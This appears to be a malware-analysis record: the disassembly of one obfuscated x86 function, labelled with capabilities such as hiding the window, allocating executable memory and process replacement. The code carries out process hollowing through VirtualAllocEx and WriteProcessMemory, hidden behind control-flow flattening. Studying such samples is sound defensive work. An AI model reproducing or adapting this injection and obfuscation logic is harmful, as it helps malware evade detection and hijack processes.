Function at 0x10002bf0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1009a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x5f902775
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x801b8944
je 0x100055de
jmp 0x10002c2c
mov eax, dword [ebp - 0x110]
sub eax, 0x8089aaf7
je 0x100081b1
jmp 0x10002c42
mov eax, dword [ebp - 0x110]
sub eax, 0x8093dbaa
je 0x1000580b
jmp 0x10002c58
mov eax, dword [ebp - 0x110]
sub eax, 0x814a49d2
je 0x10006fa4
jmp 0x10002c6e
mov eax, dword [ebp - 0x110]
sub eax, 0x81addb14
je 0x1000ab58
jmp 0x10002c84
mov eax, dword [ebp - 0x110]
sub eax, 0x82c10916
je 0x10007766
jmp 0x10002c9a
mov eax, dword [ebp - 0x110]
sub eax, 0x82d97feb
je 0x10008973
jmp 0x10002cb0
mov eax, dword [ebp - 0x110]
sub eax, 0x83895e3b
je 0x1000b506
jmp 0x10002cc6
mov eax, dword [ebp - 0x110]
sub eax, 0x83bba22a
je 0x1000b0b3
jmp 0x10002cdc
mov eax, dword [ebp - 0x110]
sub eax, 0x8414e1aa
je 0x1000a4af
jmp 0x10002cf2
mov eax, dword [ebp - 0x110]
sub eax, 0x8437cedd
je 0x1000806a
jmp 0x10002d08
mov eax, dword [ebp - 0x110]
sub eax, 0x84edf5b5
je 0x100055bf
jmp 0x10002d1e
mov eax, dword [ebp - 0x110]
sub eax, 0x867d24ab
je 0x10005b0d
jmp 0x10002d34
mov eax, dword [ebp - 0x110]
sub eax, 0x8683d6f5
je 0x10006674
jmp 0x10002d4a
mov eax, dword [ebp - 0x110]
sub eax, 0x87a13d28
je 0x100081e1
jmp 0x10002d60
mov eax, dword [ebp - 0x110]
sub eax, 0x88db2556
je 0x1000ae94
jmp 0x10002d76
mov eax, dword [ebp - 0x110]
sub eax, 0x890fea49
je 0x10009983
jmp 0x10002d8c
mov eax, dword [ebp - 0x110]
sub eax, 0x8956749a
je 0x100090db
jmp 0x10002da2
mov eax, dword [ebp - 0x110]
sub eax, 0x895a5f72
je 0x10008378
jmp 0x10002db8
mov eax, dword [ebp - 0x110]
sub eax, 0x8a023cfb
je 0x1000719b
jmp 0x10002dce
mov eax, dword [ebp - 0x110]
sub eax, 0x8a1fcebc
je 0x100068c5
jmp 0x10002de4
mov eax, dword [ebp - 0x110]
sub eax, 0x8b4bd7f6
je 0x1000800b
jmp 0x10002dfa
mov eax, dword [ebp - 0x110]
sub eax, 0x8b887749
je 0x10007d68
jmp 0x10002e10
mov eax, dword [ebp - 0x110]
sub eax, 0x8b8aab78
je 0x1000a64d
jmp 0x10002e26
mov eax, dword [ebp - 0x110]
sub eax, 0x8c42ab20
je 0x10005858
jmp 0x10002e3c
mov eax, dword [ebp - 0x110]
sub eax, 0x8e31c7c7
je 0x1000ad8c
jmp 0x10002e52
mov eax, dword [ebp - 0x110]
sub eax, 0x8e59fae2
je 0x10008828
jmp 0x10002e68
mov eax, dword [ebp - 0x110]
sub eax, 0x8f45198b
je 0x1000a1f3
jmp 0x10002e7e
mov eax, dword [ebp - 0x110]
sub eax, 0x90fc818a
je 0x1000adcb
jmp 0x10002e94
mov eax, dword [ebp - 0x110]
sub eax, 0x9128984b
je 0x10005e62
jmp 0x10002eaa
mov eax, dword [ebp - 0x110]
sub eax, 0x91450bb3
je 0x1000af0f
jmp 0x10002ec0
mov eax, dword [ebp - 0x110]
sub eax, 0x91673e25
je 0x10008369
jmp 0x10002ed6
mov eax, dword [ebp - 0x110]
sub eax, 0x918db61f
je 0x100067c1
jmp 0x10002eec
mov eax, dword [ebp - 0x110]
sub eax, 0x91f4efc3
je 0x10006478
jmp 0x10002f02
mov eax, dword [ebp - 0x110]
sub eax, 0x92c29fd7
je 0x10005894
jmp 0x10002f18
mov eax, dword [ebp - 0x110]
sub eax, 0x93c59242
je 0x100071c9
jmp 0x10002f2e
mov eax, dword [ebp - 0x110]
sub eax, 0x961c9232
je 0x100072d6
jmp 0x10002f44
mov eax, dword [ebp - 0x110]
sub eax, 0x963ce5d1
je 0x1000870a
jmp 0x10002f5a
mov eax, dword [ebp - 0x110]
sub eax, 0x977a3395
je 0x10008ae2
jmp 0x10002f70
mov eax, dword [ebp - 0x110]
sub eax, 0x978947de
je 0x1000af6c
jmp 0x10002f86
mov eax, dword [ebp - 0x110]
sub eax, 0x97bd1079
je 0x10006d5c
jmp 0x10002f9c
mov eax, dword [ebp - 0x110]
sub eax, 0x98573073
je 0x10009344
jmp 0x10002fb2
mov eax, dword [ebp - 0x110]
sub eax, 0x9883a9cb
je 0x1000ab85
jmp 0x10002fc8
mov eax, dword [ebp - 0x110]
sub eax, 0x98a1fd37
je 0x10008525
jmp 0x10002fde
mov eax, dword [ebp - 0x110]
sub eax, 0x98c2faa4
je 0x10006758
jmp 0x10002ff4
mov eax, dword [ebp - 0x110]
sub eax, 0x997712b5
je 0x10005310
jmp 0x1000300a
mov eax, dword [ebp - 0x110]
sub eax, 0x99a472be
je 0x10005875
jmp 0x10003020
mov eax, dword [ebp - 0x110]
sub eax, 0x99e8ec6b
je 0x1000ac57
jmp 0x10003036
mov eax, dword [ebp - 0x110]
sub eax, 0x9be46925
je 0x1000b1a9
jmp 0x1000304c
mov eax, dword [ebp - 0x110]
sub eax, 0x9c5db8b3
je 0x10007dd6
jmp 0x10003062
mov eax, dword [ebp - 0x110]
sub eax, 0x9d428ceb
je 0x1000655e
jmp 0x10003078
mov eax, dword [ebp - 0x110]
sub eax, 0x9f8d0a2c
je 0x100099d1
jmp 0x1000308e
mov eax, dword [ebp - 0x110]
sub eax, 0xa0dbe9c3
je 0x10009734
jmp 0x100030a4
mov eax, dword [ebp - 0x110]
sub eax, 0xa237b612
je 0x1000912c
jmp 0x100030ba
mov eax, dword [ebp - 0x110]
sub eax, 0xa26c358c
je 0x10005eab
jmp 0x100030d0
mov eax, dword [ebp - 0x110]
sub eax, 0xa2828639
je 0x100062a9
jmp 0x100030e6
mov eax, dword [ebp - 0x110]
sub eax, 0xa464748c
je 0x1000812d
jmp 0x100030fc
mov eax, dword [ebp - 0x110]
sub eax, 0xa471de6d
je 0x10009302
jmp 0x10003112
mov eax, dword [ebp - 0x110]
sub eax, 0xa493927f
je 0x10005f04
jmp 0x10003128
mov eax, dword [ebp - 0x110]
sub eax, 0xa59fee18
je 0x10007b2f
jmp 0x1000313e
mov eax, dword [ebp - 0x110]
sub eax, 0xa8dbd8e9
je 0x1000afae
jmp 0x10003154
mov eax, dword [ebp - 0x110]
sub eax, 0xa90d48db
je 0x100082a0
jmp 0x1000316a
mov eax, dword [ebp - 0x110]
sub eax, 0xa973ade0
je 0x1000918f
jmp 0x10003180
mov eax, dword [ebp - 0x110]
sub eax, 0xa98ea77a
je 0x10009857
jmp 0x10003196
mov eax, dword [ebp - 0x110]
sub eax, 0xa9ce887e
je 0x10008bcc
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001410
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001410
add esp, 4
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10018258]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10018254]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
add edx, 0x3dd9d271
sub edx, 1
sub edx, 0x3dd9d271
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x248deda1
mov ecx, 0x578e7f1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
movss xmm0, dword [0x10018398]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x10c], 0x801b8944
jmp 0x1000b584
mov dl, 1
mov eax, 0x5163425a
mov ecx, 0x1c281eaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x46b4bef0
jmp 0x1000b584
mov dl, 1
mov eax, 0x32e6dfbb
mov ecx, 0x99a472be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
movss xmm0, dword [0x10018380]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x10c], 0x92c29fd7
jmp 0x1000b584
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x10c], 0x32e6dfbb
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7a3321a
mov ecx, 0xf7ff4ec0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf70cc617
mov ecx, 0xa26c358c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
movss xmm0, dword [0x10018234]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf70cc617
mov ecx, 0xa493927f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0xf73d8155
jmp 0x1000b584
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x508e677a
sub edx, 1
add edx, 0x508e677a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcf4b2ab6
mov ecx, 0x2715092b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dl, 1
mov eax, 0x24434edb
mov ecx, 0xe1d79c4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x24434edb
jmp 0x1000b584
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
add edx, 0x3657ff1b
sub edx, 1
sub edx, 0x3657ff1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d76f62a
mov ecx, 0x7bb2ce24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018214]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaaa0449b
mov ecx, 0x918db61f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x12909ffd
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0xfe6c433c
sub edx, 1
add edx, 0xfe6c433c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c42d06f
mov ecx, 0xfdcbbb43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x52d862be
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0x998dd59a
sub edx, 1
add edx, 0x998dd59a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c9153ae
mov ecx, 0xc28e55ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0xf03bce81
jmp 0x1000b584
mov dl, 1
mov eax, 0x2b9d6326
mov ecx, 0xfbda0d26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0x52d9ad07
sub edx, 1
sub edx, 0x52d9ad07
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb796956
mov ecx, 0x74bcb9d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x47a7881b
sub edx, 1
add edx, 0x47a7881b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x11fa9f4a
mov ecx, 0xe2266fcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0x3e9c3bcb
sub edx, 1
sub edx, 0x3e9c3bcb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x167fb896
mov ecx, 0xc9c7b0a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe58d2820
mov ecx, 0x9c5db8b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0x7df2ca7
sub edx, 1
add edx, 0x7df2ca7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe58d2820
mov ecx, 0x3597738a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0xacd6c413
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x2901d7d
jmp 0x1000b584
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0xd80bb96d
sub edx, 1
sub edx, 0xd80bb96d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83bba22a
mov ecx, 0xb36e03c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x57d365da
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
add edx, 0x66fefb39
sub edx, 1
sub edx, 0x66fefb39
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef0946a4
mov ecx, 0x79012bde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfeca3023
mov ecx, 0xff615852
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x895a5f72
jmp 0x1000b584
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x306ccfbd
jmp 0x1000b584
mov dl, 1
mov eax, 0x963ce5d1
mov ecx, 0x255cdb66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100182a8]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x43e3ebdc
jmp 0x1000b584
mov ecx, dword [0x1009b928]
mov eax, dword [0x1009b924]
mov edx, ecx
sub edx, 0xc47a5802
sub edx, 1
add edx, 0xc47a5802
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x90de489
mov ecx, 0x7254c6ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9be46925
mov ecx, 0x1415c8a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x469fe009
mov ecx, 0xf56c4837
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0x1d25c12f
sub edx, 1
add edx, 0x1d25c12f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2124a4c0
mov ecx, 0xa237b612
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xec]
movss xmm0, dword [str.0_]
movss dword [eax], xmm0
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0xf46f58
sub edx, 1
add edx, 0xf46f58
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2124a4c0
mov ecx, 0xa973ade0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0xb3723834
jmp 0x1000b584
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018264]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018260]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xbf95395c
jmp 0x1000b584
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x7b600
call section..text
add esp, 8
mov eax, dword [ebp - 0xe8]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x10c], 0x54f996c9
jmp 0x1000b584
mov dl, byte [ebp - 0x75]
mov eax, 0x2f3eb668
mov ecx, 0x9c4a4bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100026c0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [0x1009b928]
mov ecx, dword [0x1009b924]
mov edx, eax
sub edx, 0x8905999f
sub edx, 1
add edx, 0x8905999f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9b093d5
mov ecx, 0x42371ee8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x6c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x9f8d0a2c
jmp 0x1000b584
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
add ecx, 0xc8f1b30c
add ecx, 0x18
sub ecx, 0xc8f1b30c
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0x97a189bd
add ecx, eax
add ecx, 0x97a189bd
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10c], 0x11b57606
jmp 0x1000b584
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
mov eax, 0xeea90be1
mov ecx, 0x469a4b08
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dl, byte [ebp - 0x29]
mov eax, 0xdcbcc687
mov ecx, 0x7b40e53a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xce83a550
mov ecx, 0xf6a122eb
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b584
mov dword [ebp - 0x10c], 0x2f3eb668
jmp 0x1000b584
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bd50
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001824c]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10018248]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10018244]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x10c], 0xb5d03197
jmp 0x1000b584
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x10018220]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x10c], 0xfe00748
jmp 0x1000b584
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x104], xmm0
